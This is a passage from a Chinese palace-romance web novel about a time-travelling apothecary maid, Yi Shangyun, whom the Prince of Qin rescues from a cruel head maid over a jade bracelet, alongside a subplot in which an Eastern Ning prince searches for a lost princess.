“而且附近有路过的山民看到,那男子对衣姑娘有轻薄之举”程良偷偷瞄了一眼轩辕翰,看他越来越愤怒的眼神便马上继续说道:“喔,不过据山民说衣姑娘对男子此举很生气,便起身策马逃走了”

轩辕翰是很生气,但是他只能忍,因为他也不知道自己能做什么,该怎么做,他怕的只是不知道会不会有一天忍无可忍了。

“把那人给本王不负一切代价揪出来”轩辕翰下令道,程良领命

“还有,北烈国和南安国,给本王赶快查他们在西秦的细作据点,不能再等了,他们已经开始下手了。还有我们渗进去外国的细作也提醒他们加倍小心”轩辕翰意味深长地说着。

程良亦是一脸凝重地说“那东宁呢,要一起查吗”

轩辕翰一个深呼吸,然后说道“东宁先不必查了,本王要是猜的没错,等他们公主到了西秦,他们的细作必会浮出水来”

“是,属下明白”程良顿时也自是都明白了过来,随即便慢慢退了下去轻轻掩上了门。

深夜了,轩辕翰回到了寝殿,站到窗前便能看到衣上云暂住在秦王府的阁楼,灯还亮着,她还没有休息。

轩辕翰不自觉又从衣袖里掏出那条秀有“云”字的女子丝帕,入神地看着心里想:他难道不是她病里口中喃喃的魏明轩?如果是,她今天又怎么会在阁楼里哭的这么难过呢?魏明轩到底是谁?

......

第二十四章:芳心暗许

喜欢一个人,或者爱一个人,在时间和空间一切都尚且不晚的条件下,有时候是可以慢慢等待的,尤其当对方确实是一个值得你这么做的人,就比如才二十出头的轩辕翰的等待。

而有的时候,尤其是一开始本就是一场预谋的时候,往往其中谁先动心,谁就是那以后纵使人生路漫漫,爱情却会将她变成一个魔鬼,僵尸,陷入一世苦痛。

日子一天天过去,天也越来越冷,转眼不知不觉竟已经是冬了。

衣上云也早已稳定了玉娘的病情,只等婆婆和灵儿日夜陪伴她慢慢找寻恢复失去的记忆,这件事情也只能交给最至亲的人才能帮她尽快痊愈。

完成了轩辕玥交给她的差事,她从秦王府又回到了御药房继续当着差。

宫中的生活有了身为尊贵的公主轩辕玥的庇护,衣上云在宫中的日子多数时候也并不怎么难过。

不知不觉轩辕玥也早已在心中不把她当做个一般的奴才对待。

这天,金碧辉煌的皇宫里处处没了往日绿色和花团锦簇的生机,轩辕玥的风华宫里,奴才们也刚扫完了一地的落叶,树枝上到处已经接近光秃秃一片萧条的景象了。

窗外,冬日里难得暖暖的阳光透过窗棂洒在轩辕玥书案上刚刚写好的字上面,而从书房里透过那一个个精雕细琢的窗棂向外看去,却似可以看到与外面不同的景观,好似镶在框中挂在墙上的一幅幅画卷。

轩辕玥的书法造诣确实不凡。站在一边的衣上云和丁香俩个是趁着早来给她送冬补的药汤的,此时正站在轩辕玥的身旁,一起陪轩辕玥欣赏着刚刚完成的杰作。

“公主这字练得是越来越有神了,笔风一点都不似平常的闺阁情,阴柔气。公主书风清净,挥洒淋漓,灵心焕发”衣上云在一旁边看边说着,却早已发现这纸洁白稠密、纹理清晰的生宣上所写的内容尽是透漏着女儿家的心思。

——“青青子衿,悠悠我心。纵我不往,子宁不嗣音?青青子佩,悠悠我思。纵我不往,子宁不来?挑兮达兮,在城阙兮。一日不见,如三月兮”。

看到轩辕玥在出神,衣上云忙试探地问:“公主可是有心上人了?”

“我哪有,你不要胡说”轩辕玥忽然慌乱地收拾整理起来,一脸羞涩的红晕散开来。

“公主,是哪家的公子?奴婢可以帮忙打探打探?”一旁的小宫女听到也开口试探着问。

“公主如今也已快到及笄之年,长大了,该嫁人了”衣上云接着说。

“你们可还曾记得从西秦学院蝴蝶谷回来的路上,我们遇到的那位翩翩公子?”轩辕玥一边回忆一边害羞地低声说道。

“原来是那位公子。公主,可是我们就连那位公子的姓名都不得而知。而且......公主的婚事应该并不是可以自己做主决定的吧。公主真可真要这么做,你可想好了结果?”

小宫女听了一脸担忧地问道,自古皇族儿女享受着天下极致的荣华富贵,却也要承担世间极致的责任,谁又曾逃得脱呢?

此时,轩辕玥也皱起了眉头沉默了半天,开口道“是啊,这又岂是我能决定的。就连西秦一人之下万人之上的秦皇叔都要奉旨娶亲,成为巩固西秦政权的牺牲品,更何况我一个小小的公主呢?”说完轩辕玥便深深叹了口气。

而衣上云想到自己,亦是沉默陷入沉思“从古至今,无论贫穷还是富贵,相爱却不能相守的,又何止是自己一个呢?”。

然而片刻后,当她收起思绪再次抬眼看向轩辕玥那失望的眼神时,她却不知为何特别的心疼。

随即便大胆鼓励轩辕玥“公主,现在什么事情都还没有发生,而且每个人的未来都是不可而知的,就像奴婢不久前还在21世......公主又为何要庸人自扰,杞人忧天呢。如果自己不争取,就更不能奢望别人的赏赐了,不是吗?”。

衣上云触景伤情,一激动差点说出自己是21世纪人类的真相来。

轩辕玥茅塞顿开看向衣上云的眼睛坚定不移地说道“对,云儿说的对,现在还什么都没有发生,本公主不应该放弃”。

而此时,距离西秦国边境不远处,一支浩浩荡荡的和亲送嫁车队正朝着西秦国缓缓移动着,一路所经之处扬起漫天沙土,风尘仆仆。

西北风呼呼地刮着,他们已经走了数月,终于快要到达西秦边境了。

这支引人注目的队伍便是东宁国永乐公主梅汐媛的和亲送嫁队伍,她在中秋节前夕被她的父皇东宁国国君梅潇然进贡给西秦国,以示两国友好相交。

而西秦国璟帝则将其赐婚给西秦唯一的亲王,他唯一的亲皇弟秦王轩辕翰,因疑虑秦王若赐婚了内臣之女怕他会笼络朝臣威胁到自己的政权,所以便将这邦国进贡的公主赐予了他。

秦王早已过了弱冠之年,自知无法自主择婚,也没有儿女情长的打算。而若璟帝再不赐婚,恐怕朝内大臣会妄议璟帝故意苛待手足秦王。

所以,这对生性多疑,贪恋权势的璟帝来说无疑是一个万全之策。

“公主,奴婢听闻西秦秦王位高权重、沉稳内敛、足智多谋、尊贵无比呢”一旁的婢女正对着身边这位尊贵的主子欣喜地说道。

“那当然,本公主也早已听闻西秦秦王乃英俊潇洒有为之男子,是西秦皇帝唯一的亲弟弟。父皇定是不会亏待我的”梅汐媛一脸沾沾自喜和骄傲。

“只是,公主......听说,秦王是一个很冰冷的男人”婢女似是有些疑虑地说。

“哼,即使他再冰冷,以本公主的才情和温柔似水,还怕不能融化他那万年寒冰吗?”梅汐媛一脸的自信满满道。

“那是,世人还能有谁如我们永乐公主这般温柔娴淑、端庄大方、美丽聪慧呢”婢女奉承着。

“不过,公主。咱们来西秦,公主可别忘了国君交给你的任务啊”婢女急急提醒。

“本公主心里自是有数,不必担心”梅汐媛胸有成竹地说着说着皱起了那漂亮的眉头。

忽然,她好像想起了什么问了句“哥哥一个月前就应该已经到西秦了吧?”

婢女回禀“是的,殿下已经安顿好一切,只等公主大婚后便开始计划中的事情”。

“嗯,哥哥自小足智多谋,遇事沉稳冷静,有他相助,必会事倍功半”梅汐媛对哥哥从小就佩服地很。

“公主且安心,只需好好准备大婚便可”婢女提醒道。

而西秦国皇宫里,秦王轩辕翰今日也进宫了。

“殿下,东宁国公主不日将至西秦,驿站已经安排妥当,大婚定在除夕前,殿下也该开始准备了”程良接到宫里传来的消息,这时正随着轩辕翰一起因大婚事宜应召进宫。

轩辕翰没有说话,只是眼睛微微一怔却瞬间恢复往常继续走着,心里想“该来的终于还是来了”。

忽然一个小药女匆匆忙忙竟然没有看到正走在回廊里的轩辕翰,只顾低头冒冒失失就冲撞了上来,倒是把自己险些撞了个人仰马翻。

这才抬头看去,一见是秦王,便立刻后退两步止住慌慌张张跪了下来“秦王殿下赎罪,奴婢不是故意的”。

“大胆奴才,因为何事如此行色匆匆竟敢冲撞秦王殿下,不要命了吗”一旁的副将程良见此情景忙上前厉声呵斥地质问道。

“回殿下,奴婢是御药房的药女,名唤丁香。因与奴婢一起在御药房当差的好姐妹衣上云被大药女诬陷,奴婢正要去风华宫请玥公主前去搭救,不小心冲撞了秦王殿下,还望殿下恕罪”丁香低头跪着战战兢兢声音还带着一丝哽咽地回道。

一听到衣上云的名字,轩辕翰双眉立刻紧锁着问:“到底怎么回事,给本王讲清楚”。

丁香本是有所顾忌的,因为她不知道秦王殿下到底是会帮她还是会官官相护帮着大药女那伙人。毕竟她们在宫中是最渺小被人忽视的生命,而大药女有显赫的家世背景庇护,秦王怎么可能相信她现在说的话呢。

就在她正左右为难地犹豫着要不要将事情讲出来的时候。突闻一声如雷贯耳的训斥:“还不快讲,想死吗”,说话的人正是副将程良。

他家主子明显是听到了衣上云三个字,管定这件事了,而这个不知深浅的丫头居然还在犹犹豫豫。

丁香一惊,立马一口气全盘脱口而出:“云儿有一个非常珍贵的七彩*金丝彩玉镯子,她本是好好收着的,都怪奴婢不好,是奴婢害了云儿。只因奴婢一时好奇,便要她拿出来看一眼。谁知竟被大药女瞧见了,大药女非说是云儿不守妇道,定是与男子私定了终身,这便是他们的定情信物。皇宫里的女子若是被知道私定终身,那可不是闹着玩的。所以大药女就心生贪念,想将这镯子据为己有,便以此要挟云儿将镯子交给她,否则就会将云儿交由院使大人处置。云儿死都不肯,如今已经被大药女关押在小柴房里已经一天一夜了......云儿定是出事了,所以奴婢现在要赶去风华宫请玥公主来救云儿,玥公主平日里待云儿极好,肯定救得了云儿的”。

“关在哪里,给本王带路”轩辕翰等不及丁香将话说完,早已经一脸怒色,眉头皱地更紧了,程良看着主子已怒发冲冠亦是一个惊吓。

丁香立马起身抹了把眼角的泪水,速速前面带路。

......

第二十五章:定情信物

“关在哪里,给本王带路”轩辕翰等不及丁香将话说完,早已经一脸怒色,本就一双冰冷的剑眉此刻皱地更紧了,程良看着主子已怒发冲冠亦是一个惊吓。

丁香立马起身抹了把眼泪,速速前面带路。

去御药房一路所遇之人无不被秦王轩辕翰这幅罕见的愤怒眼神所震慑,纷纷靠边低头跪拜避让着。

“秦王殿下这是怎么了?”奴才们都议论着,疑惑着,秦王一向沉稳内敛,虽然表情一向冰冷却从未有过像今天这般怒气冲冲。

此时,御药房里人人都在紧张地忙碌着自己手头上的差事,忽然看到丁香带着秦王的副将行色匆匆地进门来,都不由自主地好奇着朝大门方向望了过去。而紧接着众人便都看到他俩身后出现了一个如同神抵般尊贵的人儿来,此人正是秦王轩辕翰。

顿时所有人都立马怔住即刻又纷纷双膝跪地,俯首跪拜,口中喊道“秦王殿下千岁千岁千千岁”。而轩辕翰却并没有看他们一眼,甚至连眼睛都不曾抬起一点来。

丁香只顾在前面急急带路,三人一起很快来到了后院角落里的一个小柴房前,柴房的门此刻正半掩着......

里面大药女一副趾高气昂的模样端坐在桌案边,身旁站着两个平日里最亲信的小药女。

衣上云此刻就跪在大药女面前冰冷的地上,只见大药女一脸愤怒地瞪着她,忽然起身来从衣上云身旁的木水桶里舀起一瓢满满的井水对着衣上云的头顶缓缓浇灌而下。

时已至冬,衣上云的身上依旧只穿着件陈旧而又单薄的冬衣。这井水看似不比室温里的水般寒冷刺骨,但是小茅屋内到处透着风,井水浇灌下来很快便流淌至她的全身。

接着被凌冽的寒风刮过,比起用室温里的水浇灌来的更为冰冷彻骨。水从头顶流下衣上云倒吸一口凉气眼睛微闭,双臂交叉紧紧环抱着自己原本就瘦弱的身体。

每一次浇灌她都咬牙切齿地咯咯作响。她很冷,寒彻心扉,冰冷刺骨,眼睛不停地闪烁着,一天一夜,她实在已经支撑不住了。

轩辕翰三人刚到门口便从半掩着的门缝里看到了屋内发生的这一幕,看到轩辕翰双拳瞬间握紧,程良一脚上前重重地踢开屋门“哐......”一声,随即又是另一脚狠狠将大药女手中的瓢勺踢飞了出去撞击在墙壁上碎成了几片。

大药女和两个小药女随即连忙回头,一看到眼前的来人几乎傻了眼般地怔住,顿时六神无主、慌忙的双膝下跪低头道“奴婢参见秦王殿下,殿下千岁千岁千千岁”。

轩辕翰目不转睛死死地盯着衣上云对着三人道:“谁准你们这么对她的”。

“殿下,这个奴才她不知羞耻,竟私下与人私定终身,奴婢这是正在教训她”大药女竟然还一脸正经地为自己辩驳起来。

“殿下, 我没有”衣上云听闻立即摇头自辩。

她的身子已经快要支撑不住竟摇摇晃晃了起来,丁香见状立马跑上前去跪地扶着。轩辕翰依旧看着她双眉锁得更紧,随即倒吸一口气道继续对大药女说道:“证据呢?”。

大药女倒是很沉得住气,依然为自己辩道“殿下,奴婢亲眼所见,有她情郎的定情信物为证,只是......只是这丫头将她藏起来死都不愿意交出来,所以奴婢才惩罚她的”。

大药女明显豁出去了,既然衣上云死都不肯交出那七彩.金丝彩玉镯子,如今为了帮自己脱罪,她也只是忍痛割爱了。

轩辕翰听了露出一声轻蔑地冷哼道“你口中所说的定情信物可是一只七彩.金丝彩玉镯子?”。

大药女看了丁香一眼,丁香吓得悄悄低下头,随即大药女道“正是一只七彩.金丝彩玉镯子,殿下如何得知?哦,一定是丁香这个死丫头说的,平日里她俩就孟不离焦地黏在一起鬼鬼祟祟,说不定这事也少不了她的份”。

轩辕翰看衣上云的眼神变得更认真了,其实他根本就未听大药女的这番说辞。他此刻眼神似乎更为气恼,不过一个镯子而已为何又不惜以命相守,这个女人到底以为自己有几条命?

衣上云望着这个幽幽深邃、捉摸不透的眼神,也似是真的不知道此时该怎么解释这个七彩.金丝彩玉镯子的来历。

这个七彩.金丝彩玉镯子是21世纪他最爱的人魏明轩留给她唯一的念想,也是唯一跟随她来到这千年前的西秦国的唯一物件,可是此时她该怎么解释呢?他们肯定会当她是疯子,是怪物吧?!

谁知轩辕翰看着看着却冷不丁地说出一句让全场人都惊得差点晕眩的一句话。

他依然直看着衣上云的眼睛清清楚楚地说“镯子,乃本王所赠”。

“什么?七彩.金丝彩玉镯子是秦王殿下赠给她的”大药女好似晴天霹雳地被这句话惊吓到。

什么?殿下何时赠送七彩.金丝彩玉镯子给衣姑娘,程良亦是满脸愕然地怔住看向他的主子。

衣上云听到这句话亦是瞬间愣住,惊讶的程度绝对不比其他人弱。眼睛一动不动地看着眼前这个西秦国一人之下万人之上、睥睨天下、尊贵无比的秦王。

在场除了轩辕翰自己,没有一个人不为这句话惊讶万分的,与其说是惊讶,倒更不如说是惊吓。

一个个甚至都不敢喘大气呼吸,这种气氛很可怕。

轩辕翰却在想,这个镯子到底是谁赠的,竟然这么难开口,会不会又是那个魏明轩。这样的话她确实是不可能说出来的,而只有轩辕翰承认是他所赠,从此这宫里所有人自是不会也不敢对这镯子再打任何主意。

大药女终于清醒过来,她说那镯子是衣上云的情郎所赠,而今承认赠送镯子的确是尊贵无比的秦王殿下,那他们的关系......。

她似乎意识到了什么,竟不由得整个身子发起抖来连忙俯首叩拜求饶不停地说“殿下赎罪,奴婢错了,殿下赎罪,奴婢错了......”。

“从现在起,本王认为......”听到大药女求饶的声音,轩辕翰这才把视线从衣上云的身上收回,但话还没说完,只见衣上云体力不支加上惊恐过度此时彻底晕了过去。

一旁的丁香急急担忧道“云儿,你怎么了,你不要吓我,云儿,都是我不好,我不该那么好奇非要看你的镯子......”

此情此景,轩辕翰竟一个箭步过去伸出手将衣上云紧紧横抱了起来,对丁香厉声喝道“房间在哪?”

丁香被轩辕翰这一个横抱竟然吓得起身时一个趔趄,然后又是紧接一个趔趄,最后终于一边抹着挂在脸上的泪珠,一边慌慌张张地带路走向药女所。

大药女等人见他们出去,一个个都面面相觑,满脸尽是不可思议,猜想着这到底是怎么回事?那么尊贵、冰冷、传闻不近女色的秦王殿下就这么当着他们所有人的面抱着衣上云,一个御药房新进的小药女,而且还是个被退了婚的丑女。

御药房院子里,所有人都还齐齐跪着呢。轩辕翰没让他们平身,他们自然就得一直跪着。

可谁都不曾知道,秦王行色匆匆至此到底为了何事,他可是从来都没进过太医院的大门啊。

直到看见他抱着衣上云出来,跪着的众人一个个是何等的大惊失色、目瞪口呆。

这可是秦王啊,秦王是什么人,西秦国一人之下万人之上,可他现在怎么会抱着一个丑陋的小药女。而这小药女显然已不省人事了,到底发生了什么事?

......

药女所衣上云的屋里一室寂静,悄无声息。

程良在轩辕翰将衣上云抱出小柴房的时候就已速速去请了太医过来,此刻自己守在屋外门口。

把完脉,太医战战兢兢地说“殿下,衣药女这是久未进食且本来就身体虚弱,今再加上受了凉,染了严重的风寒身体透支以致昏迷。老臣这就去开药,她很快会醒的”说完便退了出去。

轩辕翰并没有看他,他的眼睛一直盯着衣上云苍白的脸,刚才他抱她的时候才发现她浑身都湿透了,双手一触碰到她柔软的身子就感觉冰凉冰凉的,整个人都软软的缱绻在他怀里。而她却就这样被折磨了一天一夜。

“真是该死的奴才”他一边皱眉心想着一边再次攥紧着拳头都能听到发出咯咯的响声。

“给本王照顾好她”轩辕翰冷冷丢下这句话给一旁还在神游的丁香,最后恋恋不舍地再次看了一眼昏睡中的衣上云,就迈步走出了屋子,程良紧跟其后。

轩辕翰这时才稍微安心一点要去找璟帝回话,而程良便趁着这段时间又回到了御药房。这一院子的人跪的时间也够长了,尤其是那个大药女。

他自是要替他的主子将事情处置的妥妥当当,谁让他是轩辕翰的心腹呢,主子自是不用说,他也定是要按照主子的心意办的漂漂亮亮,让主子心满意足方可。

还没等他开口,顾院使便早已听闻了今日之事,此时恭恭敬敬地答复他道“从现在起衣药女便是御药房新晋的大药女,原来的大药女降为低等药工杖责五十,以儆效尤”。

程良听了单边嘴角微斜,轻声哼笑道“算你识相,以后眼睛都擦亮着点,什么该说什么不该说,该怎么做不该怎么做,都心里清楚着点,否则哪天保不齐脑袋就搬家了”。

顾院使脸上挂着微笑仔细听着,额头却渗着豆大的汗水道“是,是,是,老臣一定谨记程副将提醒,还请程副将在殿下面前帮老臣多多美言,老臣一定会好生照料着衣药女,绝不让她再掉一根头发”。

程良轻轻松松就办好了差,便去与轩辕翰汇合。一见到轩辕翰,便向其点头示意已处理好一切,轩辕翰这才跟璟帝告退出宫离开。

“今天的事,殿下完全不必亲自动手”程良跟在轩辕翰身后一边走着忽然说道。

“本王知道,本王只是......”轩辕翰停住脚步倒吸一口气,欲言又止道。

程良见轩辕翰如此难以开口,心中便已有了几分猜忌,但还是不愿意相信,自己的主子显然是真的看上了这个丑丫头,可他又忧心起来......

第二十六章:该来的终究还是来了

程良见轩辕翰如此难以开口,心中便已有了几分猜忌,但还是不愿意相信,自己的主子显然是真的看上了这个丑丫头。

可他又忧心,主子不是已经大婚在即了吗?!

此时,衣上坤出宫办差刚回到御药房。

一同僚见他风尘仆仆归来上去冷冷地对他说“衣药师好本事啊,生了个好女儿”。

“此话怎讲”衣上坤听后一脸狐疑,皱着眉头问。

他还不知道今天发生了何事,此时回头看去只见周围的人一个个都交头接耳,嘀嘀咕咕,对着他异样的表情,不知道在议论些什么。

“你的好女儿竟然攀附上了秦王殿下,难道衣药师还不知道吗?真是看不出来啊,想必衣药师日后定是前途无量”同僚言语里尽是轻蔑讥讽之意。

“一派胡言,老夫的女儿怎么可能做这种事情”衣上坤十分惊讶愤怒地怒道。

“哼,今日整个御药房的人大家伙可都亲眼瞧见了啊,令嫒可是被秦王殿下当着众人的面亲自抱回药女所的,你若不信何不亲自去问问你那宝贝女儿呢”同僚挑高了眉挑衅着。

衣上坤顿时无语,呆愣了半天方才坐了下来。一个人嘴里喃喃道“历代皇宫自古都是是非之地,本不想你进宫却是事无可避,惟愿你能韬光养晦、善自小心、保全自己、可惜还是......”。

见他欲言又止沉默了半天长叹一声随即摇摇头露出一脸的忧心,继续道“该来的终究还是来了,怎么躲也躲不过去。眼前的这个女儿长相和行事风格越来越像她的生母,尤其是昏迷一年后醒来更是如此,坚强勇敢又善良。难道这是上天注定的,老夫本只期望她如她生母临终前所托,愿她平安终老。当初以为把她嫁给西秦学院少主,也算是给她安稳富足的一生,可谁却想会有退婚一事。而今还是因为老夫让她与这些位高权重的皇族人纠缠在一起,始终都是老夫拖累了她”。

衣上坤深深地叹着气,眼睛深邃地如同黑洞一般......

药女所里,衣上云终于苏醒慢慢睁开了眼睛,只觉得头痛欲裂,昏迷前发生的事情也已一幕幕浮上心头。

丁香看到她醒来,立马过去将她一边扶起一边含泪关切道“云儿,感觉如何,可好些了?”。

“没事儿,已经好多了,不必担心”衣上云强忍着不适,一边面带微笑地安慰丁香一边帮她擦拭眼泪,她知道丁香这次定是被吓得不轻。

“云儿,是秦王殿下救了你,大药女还被降为低等药工杖责五十,估计没个把月肯定是起不来榻了。哦还有,云儿你快猜猜院使大人任命了谁做新的大药女吗?”丁香忽然满是欣喜地对衣上云说道。

衣上云心里并不在意这个问题,此刻她只眼睁睁看着丁香高兴的似乎忘记了今日所有的惊吓,丁香自顾一脸羡慕道“云儿,从今天开始你...衣上云,便是御药房的大药女了,这下我们终于苦尽甘来,守得日出见月明了,以后再也不会被欺负了”。

然而衣上云却并没有丁香想象般的那份喜悦,她依然苍白憔悴,只是微微抿着嘴眼睛轻轻眨了一下。

“云儿,有件事我想问你,你......你跟秦王殿下很熟吗?”丁香自觉自己的兴奋之态有些过高,突感尴尬,随即转移了话题。

“没有啊,我这个样子怎么可能跟身份那么尊贵的人很熟呢”衣上云看了看自身全身上下,嘴里这样说着。

可眼睛却不由自主地瞥到一边躲闪起来,心里也回忆着真的好像没有很熟悉他的感觉。以她的身份和长相怎么配跟睥睨天下,尊贵无比的秦王混为一谈,她觉得那简直就是对秦王的一种亵渎,是她从来都不曾也不敢奢望的。

丁香听了,左看右看一脸狐疑地端详了衣上云半天,最后还是半信半疑地嘟着嘴说“这就奇怪了,我看你被大药女惩罚情况危及,本来是要去风华宫禀报玥公主前来相救的,谁知道半路竟会遇到秦王殿下。更没料到他竟然会亲临御药房,而且...当着所有众人的面将昏迷的你一路抱到药女所榻上,让我怎么看都不像你们不熟啊?”丁香一边说一边用手挠着自己的脑袋,像是有天大的谜团解不开来似的.

衣上云听了却惊吓住道“你刚才说什么,秦王殿下......殿下他抱我回来?”。

“是啊,小柴房里你病倒昏迷了过去后,秦王甚是担忧地亲自一路把你抱回到药女所放在榻上,还让人找来太医细细诊治完方才离开。御药房所有人都看到了,在场没有一个人不被惊到,吓到的呢,那可是如神邸般尊贵的秦王殿下呀”丁香一脸羡慕的表情说道。

衣上云听了却速速低下头去,瞬时苍白的脸竟泛起一圈圈的红晕来,喃喃道“说七彩.金丝彩玉镯子是他赠送的,还当着所有人的面抱...秦王啊秦王,你这是要我的命啊,我这么福薄的人怎么受得起。这可是千年前的西秦国,不是21世纪哇”。

紧接着只见她盯着缓缓摊开来的两只瘦小的手掌以迅雷不及掩耳之势将整张脸都蒙了起来,丁香看着她一脸的莫名其妙。

......

自从发生了秦王亲临御药房维护衣上云一事,整个御药房便再也没有人敢刁难衣上云了,就连院使大人每每都是恭恭敬敬礼让她三分。

如今人人都以为衣上云是秦王要的人,连镯子都赠了,搞不好过不了多久,便会成为秦王府的侧王妃了吧?

秦王是谁,巴结他的人队都排到西秦国外去了,都还找不到门呢。放眼这整个西秦国里又有谁敢与他做对,那简直就是鸡蛋碰石头,自取灭亡。

衣上云就这样成了御药房大药女,宫中的日子便更好过了。

这一日,有位小药女匆匆过来禀告“大药女,有位药商说要见您”。

“见我?我并不识得什么药商啊”衣上云不解地问。

衣上云跟随小药女很快来到了御药房会客的客厅,一进门,看到此人正背对着自己,只见其背影身姿修长挺拔伟岸、单手负在身后、一身黑衣劲装,墨发半束。衣上云看着来人发愣正在猜想此人究竟是谁。

听到衣上云的脚步声传来,来人随即一个匆忙的转身,衣上云面前便立马现出那对象征性的桃花眼露着一脸的潇洒不羁和恣意随性来。

衣上云霎时间瞪大眼睛惊讶道“三少”。

没错,来人正是百草谷百草堂正主易君浩,易三少是也。

“你怎么知道我在御药房当差”衣上云极为不解地问道。

“这天下只要我易三少想知道或者想做的事情,从来都没有办不到的。丫头,你还在生三哥哥我的气吗”易君浩一脸狂妄的说着一边走到衣上云跟前,身体慢慢逼近她略带些忧心地试探问道。

“三少莫再提及以前的事情,云儿是见三少乃仗义且豪爽之人,故我是真心想待三少为朋友知己。三少若亦是想与我为友,就以后请自重莫再如此无礼,否则.......”衣上云一本正经严肃地说着,话还没完,易三少便出言打断了她。

“丫头,你放心,既然你真心待我为朋友,我易君浩保证以后都不会对你失礼了,如果再有对你轻薄之举,我易君浩不得好死”易三少甚是真诚地重重发誓道。

衣上云听了,低头抿着小嘴,嘴角方才露出浅浅的弧度。易君浩见她此时已经完全原谅了他。

其实他也自知上次在海棠谷情绪失控,自己确实行为有些太唐突了,后来一直都为此很是苦恼,就怕衣上云因此不再见他也不再相信他。

刚好宫中有药草要送,他便乘机亲自来跟衣上云赔礼致歉。幸好,他被原谅了,他就知道这个善良的丫头一定不会真的迁怒于他的。

而此时衣上云也自是羡慕易君浩的潇洒无羁、药术精湛。有这样一个朋友和知己,也确实是很不错的,但是这绝对不是易君浩想的那种,就只是朋友而已,她必须跟他坦坦荡荡地讲清楚,不想朋友之间日后因此有任何误会或者芥蒂。

是夜,西秦学院蝴蝶谷东郊附近,一座幽静的民宅内,灯火通明。

“三殿下,永乐公主还有三日便至西秦了,驿站都已经部署好,只等公主驾临。”一名贴身护卫正细细地禀报着。

只见那护卫口中的三殿下背对着他双手负手而立,一身锦白长袍、墨发全束、身姿挺拔、侧脸看来,温润如玉,沉稳内敛,浑身散发着一股尊贵之气。

男子用极富磁性的声音问道:“让你查的人,查的怎么样了”。

“回殿下,当年先皇后在西秦国发生不测坠落深渊,随行护卫为保护先皇后也都纷纷被诛杀。后来宫里派出的探子只查到先皇后落入深渊后受一对山野间夫妇相助产下一位公主便骤然离逝,公主亦被临危受命托付给这对夫妇收养。但如今时过境迁,这对夫妇早已经不知所踪,公主恐怕也是凶多吉少”护卫甚是忧心地回答道。

这个被护卫口中称之为三殿下的男子正是灵空大陆富甲一方的东宁国三皇子梅志煊,与西秦国秦王轩辕翰不日即将大婚的永乐公主梅汐媛的三皇兄。

他此行西秦国是借以送嫁为由,实则是为了......

第二十七章:凤凰印记,唯一的血脉

这个被护卫口中称之为三殿下的男子正是灵空大陆富甲一方的东宁国三皇子梅志煊,与西秦国秦王轩辕翰不日即将大婚的永乐公主梅汐媛的三皇兄。

他此行西秦国是借以送嫁为由,实则是为了寻找东宁国多年前骤然离逝的嫡皇后遗留在西秦国内的独女,即东宁国最尊贵的嫡公主。以及查出嫡皇后当年遇难的真正原因,更是接机全面刺探西秦国的真实国情以便日后借机起兵。

东宁国地处灵空大陆极东的沿海区域,与地处极西北的西秦国因战线太长恐后继无力,故在没有知已知彼的万全之策前,切不可轻举妄动。

此刻,梅志煊心里暗自想着“嫡母后心思缜密、医术过人、已近临盆怎么会以身犯险急着前往遥远的西秦国?又为何会遇害坠落深渊?到底是谁追杀,这期间到底发生了什么事?那刚出生的襁褓里的女婴如今到底是生是死?那对夫妻又是什么人,如今该去哪里找?他们是西秦国人吗?还是已经畏惧逃离了西秦?如今这一切显然线索全断......”。

深思良久,只见他忽然抬起头来,像是突然发现什么秘密一般。

“对了,我怎么差点忘记了,还有嫡母后一族的专有凤凰印记”。

他小时候和梅汐媛一起同母后嬉戏,曾经无意间发现嫡母后身上有一个粉色的凤凰印记,他俩当时都很好奇。

梅汐媛便问嫡母后,嫡母后只告诉他们说这是她们家族女子身上的专有印记,凡是本族血脉生女子均有此凤凰印记,与生俱来。可是这茫茫人海真正如同大海捞针该如何去寻......”。

好不容易想起了新的线索,却是这样的机会渺茫,他再次皱起眉来,摆了摆手示意护卫退下,诺大寂静的房间里只独自剩下一人,依旧沉默孤独地背身而立着。

在烛火的光照下,他的影子拉的很长很长,一如他现在复杂又忧伤的心情。嫡皇后不是他的亲生母后,却是这个世界上对他最好的人,他的生母在他出生的时候便难产离世,嫡母后曾经给他幼小的心灵太多的慰藉和缺失了的母爱。

她是那样温柔的一个女子,几乎集世间所有女子的美好于一身,将自己视如己出精心照料。尚还未来得及等他尽孝半分便骤然在异国他乡离世,就连他那一出生就没了母亲可怜的皇妹至今都渺无音讯,生死不明。

这么多年他真的很内疚,他时刻惦记着怕那个女婴出事,此时他双眼迷离,嘴里喃喃道“你千万不能出事,你是嫡母后留在这个世上唯一的血脉了”。

而此时在他身旁不远处一个琉璃瓶里,一只只光明女神蝶身姿婀娜正在翩翩起舞,在这夜里挥动着翅膀发出星星点点的光芒,只见它们时而深蓝,时而湛蓝,时而浅蓝变换不停,优雅而美好。

琉璃瓶盖并未封上,这些神蝶竟是如此地自由自在,此时却更像似是在倦蝶归巢,双双归来。

梅志煊看着看着,对着这些神蝶一脸希冀地说道“到底你,什么时候也能像这些蝶儿一样平安回家呢?”

随后只看到他瞬间低下了头发出一声声长叹来,那该是有多无助才会让如此这样一位温润如玉般温暖的男子发出这样的叹息声......

城东秦王府内,亦是一片灯火通明,将王府内外照的恍如白昼。

程良急急前往承华殿,因为被告知婆婆的媳妇就在刚刚恢复了记忆,已经基本都回忆起来了。

这对所有人来说确实是这许久以来的一个好事情,而却有更振奋人心的消息传出来。

轩辕翰大婚在即,诸事却丝毫一点也不上心。本就是一桩政治联姻的赐婚,对象是谁,喜不喜欢,丑还是美,他完全一点也不在乎,一切都仿佛是别人的事情。

知道秦王母妃已仙逝无人替其打理诸事,宫中自是派了专门的人在处理,会面面俱到,给足他皇家应有尽有的颜面,他似乎也真的无需亲自过问什么,本就是不在计划上的事情,他也落得清净,任由他们去处置。

这会儿,他正在承华殿里翻阅着书案上那一封封密函,都是些渗入各国进去的细作来报计划的进度,看着一切都正常,他也算是可以安心静等着合宜时机的到来了。

而此时他却不知不觉地陷入了另一个深思“那不怕死的丫头不知道身子可好了?”不知不觉脑海里竟现出了那天他抱起她来的一幕幕。

这还是他此生第一次抱一个女子,她是那么轻柔,那么软绵绵,让人一看见就十分想要心疼和保护,即便是他已仙逝的母妃也未曾享受过他如此待遇。

想着想着只见他嘴角微微上浮,呆滞的眼睛轻轻眨了两下,绽放出从未有过的甚是好看的笑颜来。

程良远远看着一脸痴笑着的轩辕翰,不用猜这个主子肯定又是在想那位姑娘了。

他竟带着一脸窃笑微微浮在半个嘴角,悄悄靠近到了轩辕翰的案前凝视起这位主子,轩辕翰竟浑然不知。

